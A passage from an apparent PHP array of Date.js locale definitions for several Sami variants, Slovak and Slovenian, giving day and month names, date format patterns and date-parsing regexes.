(Suopma)",dayNames:["sotnabeaivi","vuossárga","maŋŋebárga","gaskavahkku","duorastat","bearjadat","lávvardat"],abbreviatedDayNames:["sotn","vuos","maŋ","gask","duor","bear","láv"],shortestDayNames:["sotn","vuos","maŋ","gask","duor","bear","láv"],firstLetterDayNames:["s","v","m","g","d","b","l"],monthNames:["ođđajagemánnu","guovvamánnu","njukčamánnu","cuoŋománnu","miessemánnu","geassemánnu","suoidnemánnu","borgemánnu","čakčamánnu","golggotmánnu","skábmamánnu","juovlamánnu"],abbreviatedMonthNames:["ođđj","guov","njuk","cuo","mies","geas","suoi","borg","čakč","golg","skáb","juov"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"MMMM d\'. b. \'yyyy",shortTime:"H:mm:ss",longTime:"H:mm:ss",fullDateTime:"MMMM d\'. b. \'yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ođđajagemánnu/i,feb:/^guov(vamánnu)?/i,mar:/^njuk(čamánnu)?/i,apr:/^cuo(ŋománnu)?/i,may:/^mies(semánnu)?/i,jun:/^geas(semánnu)?/i,jul:/^suoi(dnemánnu)?/i,aug:/^borg(emánnu)?/i,sep:/^čakč(amánnu)?/i,oct:/^golg(gotmánnu)?/i,nov:/^skáb(mamánnu)?/i,dec:/^juov(lamánnu)?/i,sun:/^sotnabeaivi/i,mon:/^vuossárga/i,tue:/^maŋŋebárga/i,wed:/^gaskavahkku/i,thu:/^duorastat/i,fri:/^bearjadat/i,sat:/^lávvardat/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'se-NO' => 'Date.CultureInfo={name:"se-NO",englishName:"Sami (Northern) (Norway)",nativeName:"davvisámegiella (Norga)",dayNames:["sotnabeaivi","vuossárga","maŋŋebárga","gaskavahkku","duorastat","bearjadat","lávvardat"],abbreviatedDayNames:["sotn","vuos","maŋ","gask","duor","bear","láv"],shortestDayNames:["sotn","vuos","maŋ","gask","duor","bear","láv"],firstLetterDayNames:["s","v","m","g","d","b","l"],monthNames:["ođđajagemánnu","guovvamánnu","njukčamánnu","cuoŋománnu","miessemánnu","geassemánnu","suoidnemánnu","borgemánnu","čakčamánnu","golggotmánnu","skábmamánnu","juovlamánnu"],abbreviatedMonthNames:["ođđj","guov","njuk","cuo","mies","geas","suoi","borg","čakč","golg","skáb","juov"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"MMMM d\'. b. \'yyyy",shortTime:"HH:mm:ss",longTime:"HH:mm:ss",fullDateTime:"MMMM d\'. b. \'yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ođđajagemánnu/i,feb:/^guov(vamánnu)?/i,mar:/^njuk(čamánnu)?/i,apr:/^cuo(ŋománnu)?/i,may:/^mies(semánnu)?/i,jun:/^geas(semánnu)?/i,jul:/^suoi(dnemánnu)?/i,aug:/^borg(emánnu)?/i,sep:/^čakč(amánnu)?/i,oct:/^golg(gotmánnu)?/i,nov:/^skáb(mamánnu)?/i,dec:/^juov(lamánnu)?/i,sun:/^sotnabeaivi/i,mon:/^vuossárga/i,tue:/^maŋŋebárga/i,wed:/^gaskavahkku/i,thu:/^duorastat/i,fri:/^bearjadat/i,sat:/^lávvardat/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'se-SE' => 'Date.CultureInfo={name:"se-SE",englishName:"Sami (Northern) (Sweden)",nativeName:"davvisámegiella (Ruoŧŧa)",dayNames:["sotnabeaivi","mánnodat","disdat","gaskavahkku","duorastat","bearjadat","lávvardat"],abbreviatedDayNames:["sotn","mán","dis","gask","duor","bear","láv"],shortestDayNames:["sotn","mán","dis","gask","duor","bear","láv"],firstLetterDayNames:["s","m","d","g","d","b","l"],monthNames:["ođđajagemánnu","guovvamánnu","njukčamánnu","cuoŋománnu","miessemánnu","geassemánnu","suoidnemánnu","borgemánnu","čakčamánnu","golggotmánnu","skábmamánnu","juovlamánnu"],abbreviatedMonthNames:["ođđj","guov","njuk","cuo","mies","geas","suoi","borg","čakč","golg","skáb","juov"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy-MM-dd",longDate:"MMMM d\'. b. \'yyyy",shortTime:"HH:mm:ss",longTime:"HH:mm:ss",fullDateTime:"MMMM d\'. b. \'yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ođđajagemánnu/i,feb:/^guov(vamánnu)?/i,mar:/^njuk(čamánnu)?/i,apr:/^cuo(ŋománnu)?/i,may:/^mies(semánnu)?/i,jun:/^geas(semánnu)?/i,jul:/^suoi(dnemánnu)?/i,aug:/^borg(emánnu)?/i,sep:/^čakč(amánnu)?/i,oct:/^golg(gotmánnu)?/i,nov:/^skáb(mamánnu)?/i,dec:/^juov(lamánnu)?/i,sun:/^sotnabeaivi/i,mon:/^mánnodat/i,tue:/^disdat/i,wed:/^gaskavahkku/i,thu:/^duorastat/i,fri:/^bearjadat/i,sat:/^lávvardat/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sk-SK' => 'Date.CultureInfo={name:"sk-SK",englishName:"Slovak (Slovakia)",nativeName:"slovenčina (Slovenská republika)",dayNames:["nedeľa","pondelok","utorok","streda","štvrtok","piatok","sobota"],abbreviatedDayNames:["ne","po","ut","st","št","pi","so"],shortestDayNames:["ne","po","ut","st","št","pi","so"],firstLetterDayNames:["n","p","u","s","š","p","s"],monthNames:["január","február","marec","apríl","máj","jún","júl","august","september","október","november","december"],abbreviatedMonthNames:["I","II","III","IV","V","VI","VII","VIII","IX","X","XI","XII"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d. M. yyyy",longDate:"d. MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d. MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^január/i,feb:/^február/i,mar:/^marec/i,apr:/^apríl/i,may:/^máj/i,jun:/^jún/i,jul:/^júl/i,aug:/^august/i,sep:/^sep(t(ember)?)?/i,oct:/^október/i,nov:/^november/i,dec:/^december/i,sun:/^nedeľa/i,mon:/^pondelok/i,tue:/^utorok/i,wed:/^streda/i,thu:/^štvrtok/i,fri:/^piatok/i,sat:/^sobota/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sl-SI' => 'Date.CultureInfo={name:"sl-SI",englishName:"Slovenian (Slovenia)",nativeName:"slovenski (Slovenija)",dayNames:["nedelja","ponedeljek","torek","sreda","četrtek","petek","sobota"],abbreviatedDayNames:["ned","pon","tor","sre","čet","pet","sob"],shortestDayNames:["ne","po","to","sr","če","pe","so"],firstLetterDayNames:["n","p","t","s","č","p","s"],monthNames:["januar","februar","marec","april","maj","junij","julij","avgust","september","oktober","november","december"],abbreviatedMonthNames:["jan","feb","mar","apr","maj","jun","jul","avg","sep","okt","nov","dec"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"d. MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d. MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uar)?/i,feb:/^feb(ruar)?/i,mar:/^mar(ec)?/i,apr:/^apr(il)?/i,may:/^maj/i,jun:/^jun(ij)?/i,jul:/^jul(ij)?/i,aug:/^avg(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^ne(d(elja)?)?/i,mon:/^po(n(edeljek)?)?/i,tue:/^to(r(ek)?)?/i,wed:/^sr(e(da)?)?/i,thu:/^če(t(rtek)?)?/i,fri:/^pe(t(ek)?)?/i,sat:/^so(b(ota)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sma-NO' => 'Date.CultureInfo={name:"sma-NO",englishName:"Sami (Southern) (Norway)",nativeName:"åarjelsaemiengiele (Nöörje)",dayNames:["aejlege","måanta","dæjsta","gaskevåhkoe","duarsta","bearjadahke","laavvardahke"],abbreviatedDayNames:["aej","måa","dæj","gask","duar","bearj","laav"],shortestDayNames:["aej","måa","dæj","gask","duar","bearj","laav"],firstLetterDayNames:["a","m","d","g","d","b","l"],monthNames:["tsïengele","goevte","njoktje","voerhtje","suehpede","ruffie","snjaltje","mïetske","skïerede","golke","rahka","goeve"],abbreviatedMonthNames:["tsïen","goevt","njok","voer","sueh","ruff","snja","mïet","skïer","golk","rahk","goev"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"MMMM d\'. b. \'yyyy",shortTime:"HH:mm:ss",longTime:"HH:mm:ss",fullDateTime:"MMMM d\'. b. \'yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^tsïen(gele)?/i,feb:/^goevt(e)?/i,mar:/^njok(tje)?/i,apr:/^voer(htje)?/i,may:/^sueh(pede)?/i,jun:/^ruff(ie)?/i,jul:/^snja(ltje)?/i,aug:/^mïet(ske)?/i,sep:/^skïer(ede)?/i,oct:/^golk(e)?/i,nov:/^rahk(a)?/i,dec:/^goev(e)?/i,sun:/^aejlege/i,mon:/^måanta/i,tue:/^dæjsta/i,wed:/^gaskevåhkoe/i,thu:/^duarsta/i,fri:/^bearjadahke/i,sat:/^laavvardahke/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sma-SE' => 'Date.CultureInfo={name:"sma-SE",englishName:"Sami (Southern) (Sweden)",nativeName:"åarjelsaemiengiele (Sveerje)",dayNames:["aejlege","måanta","dæjsta","gaskevåhkoe","duarsta","bearjadahke","laavvardahke"],abbreviatedDayNames:["aej","måa","dæj","gask","duar","bearj","laav"],shortestDayNames:["aej","måa","dæj","gask","duar","bearj","laav"],firstLetterDayNames:["a","m","d","g","d","b","l"],monthNames:["tsïengele","goevte","njoktje","voerhtje","suehpede","ruffie","snjaltje","mïetske","skïerede","golke","rahka","goeve"],abbreviatedMonthNames:["tsïen","goevt","njok","voer","sueh","ruff","snja","mïet","skïer","golk","rahk","goev"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy-MM-dd",longDate:"MMMM d\'. b. \'yyyy",shortTime:"HH:mm:ss",longTime:"HH:mm:ss",fullDateTime:"MMMM d\'. b. \'yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^tsïen(gele)?/i,feb:/^goevt(e)?/i,mar:/^njok(tje)?/i,apr:/^voer(htje)?/i,may:/^sueh(pede)?/i,jun:/^ruff(ie)?/i,jul:/^snja(ltje)?/i,aug:/^mïet(ske)?/i,sep:/^skïer(ede)?/i,oct:/^golk(e)?/i,nov:/^rahk(a)?/i,dec:/^goev(e)?/i,sun:/^aejlege/i,mon:/^måanta/i,tue:/^dæjsta/i,wed:/^gaskevåhkoe/i,thu:/^duarsta/i,fri:/^bearjadahke/i,sat:/^laavvardahke/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'smj-NO' => 'Date.CultureInfo={name:"smj-NO",englishName:"Sami (Lule) (Norway)",nativeName:"julevusámegiella (Vuodna)",dayNames:["sådnåbiejvve","mánnodahka","dijstahka","gasskavahkko","duorastahka","bierjjedahka","lávvodahka"],abbreviatedDayNames:["såd","mán","dis","gas","duor","bier","láv"],shortestDayNames:["såd","mán","dis","gas","duor","bier","láv"],firstLetterDayNames:["s","m","d","g","d","b","l"],monthNames:["ådåjakmánno","guovvamánno","sjnjuktjamánno","vuoratjismánno","moarmesmánno","biehtsemánno","sjnjilltjamánno","bårggemánno","ragátmánno","gålgådismánno","basádismánno","javllamánno"],abbreviatedMonthNames:["ådåj","guov","snju","vuor","moar","bieh","snji","bårg","ragá","gålg","basá","javl"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"MMMM d\'. b. \'yyyy",shortTime:"HH:mm:ss",longTime:"HH:mm:ss",fullDateTime:"MMMM d\'. b. \'yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ådåj(akmánno)?/i,feb:/^guov(vamánno)?/i,mar:/^sjnjuktjamánno/i,apr:/^vuor(atjismánno)?/i,may:/^moar(mesmánno)?/i,jun:/^bieh(tsemánno)?/i,jul:/^sjnjilltjamánno/i,aug:/^bårg(gemánno)?/i,sep:/^ragá(tmánno)?/i,oct:/^gålg(ådismánno)?/i,nov:/^basá(dismánno)?/i,dec:/^javl(lamánno)?/i,sun:/^sådnåbiejvve/i,mon:/^mánnodahka/i,tue:/^dijstahka/i,wed:/^gasskavahkko/i,thu:/^duorastahka/i,fri:/^bierjjedahka/i,sat:/^lávvodahka/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'smj-SE' => 'Date.CultureInfo={name:"smj-SE",englishName:"Sami (Lule) (Sweden)",nativeName:"julevusámegiella (Svierik)",dayNames:["ájllek","mánnodahka","dijstahka","gasskavahkko","duorastahka","bierjjedahka","lávvodahka"],abbreviatedDayNames:["ájl","mán","dis","gas","duor","bier","láv"],shortestDayNames:["ájl","mán","dis","gas","duor","bier","láv"],firstLetterDayNames:["á","m","d","g","d","b","l"],monthNames:["ådåjakmánno","guovvamánno","sjnjuktjamánno","vuoratjismánno","moarmesmánno","biehtsemánno","sjnjilltjamánno","bårggemánno","ragátmánno","gålgådismánno","basádismánno","javllamánno"],abbreviatedMonthNames:["ådåj","guov","snju","vuor","moar","bieh","snji","bårg","ragá","gålg","basá","javl"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy-MM-dd",longDate:"MMMM d\'. b. \'yyyy",shortTime:"HH:mm:ss",longTime:"HH:mm:ss",fullDateTime:"MMMM d\'. b. \'yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ådåj(akmánno)?/i,feb:/^guov(vamánno)?/i,mar:/^sjnjuktjamánno/i,apr:/^vuor(atjismánno)?/i,may:/^moar(mesmánno)?/i,jun:/^bieh(tsemánno)?/i,jul:/^sjnjilltjamánno/i,aug:/^bårg(gemánno)?/i,sep:/^ragá(tmánno)?/i,oct:/^gålg(ådismánno)?/i,nov:/^basá(dismánno)?/i,dec:/^javl(lamánno)?/i,sun:/^ájllek/i,mon:/^mánnodahka/i,tue:/^dijstahka/i,wed:/^gasskavahkko/i,thu:/^duorastahka/i,fri:/^bierjjedahka/i,sat:/^lávvodahka/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'smn-FI' => 'Date.CultureInfo={name:"smn-FI",englishName:"Sami (Inari) (Finland)",nativeName:"sämikielâ (Suomâ)",dayNames:["pasepeivi","vuossargâ","majebargâ","koskokko","tuorâstâh","vástuppeivi","lávárdâh"],abbreviatedDayNames:["pa","vu","ma","ko","tu","vá","lá"],shortestDayNames:["pa","vu","ma","ko","tu","vá","lá"],firstLetterDayNames:["p","v","m","k","t","v","l"],monthNames:["uđđâivemáánu","kuovâmáánu","njuhčâmáánu","cuáŋuimáánu","vyesimáánu","kesimáánu","syeinimáánu","porgemáánu","čohčâmáánu","roovvâdmáánu","skammâmáánu","juovlâmáánu"],abbreviatedMonthNames:["uđiv","kuov","njuh","cuoŋ","vyes","kesi","syei","porg","čoh","roov","ska","juov"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"MMMM d\'. p. \'yyyy",shortTime:"H:mm:ss",longTime:"H:mm:ss",fullDateTime:"MMMM d\'. p. \'yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^uđđâivemáánu/i,feb:/^kuov(âmáánu)?/i,mar:/^njuh(čâmáánu)?/i,apr:/^cuáŋuimáánu/i,may:/^vyes(imáánu)?/i,jun:/^kesi(máánu)?/i,jul:/^syei(nimáánu)?/i,aug:/^porg(emáánu)?/i,sep:/^čoh(čâmáánu)?/i,oct:/^roov(vâdmáánu)?/i,nov:/^ska(mmâmáánu)?/i,dec:/^juov(lâmáánu)?/i,sun:/^pasepeivi/i,mon:/^vuossargâ/i,tue:/^majebargâ/i,wed:/^koskokko/i,thu:/^tuorâstâh/i,fri:/^vástuppeivi/i,sat:/^lávárdâh/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'sms-FI' => 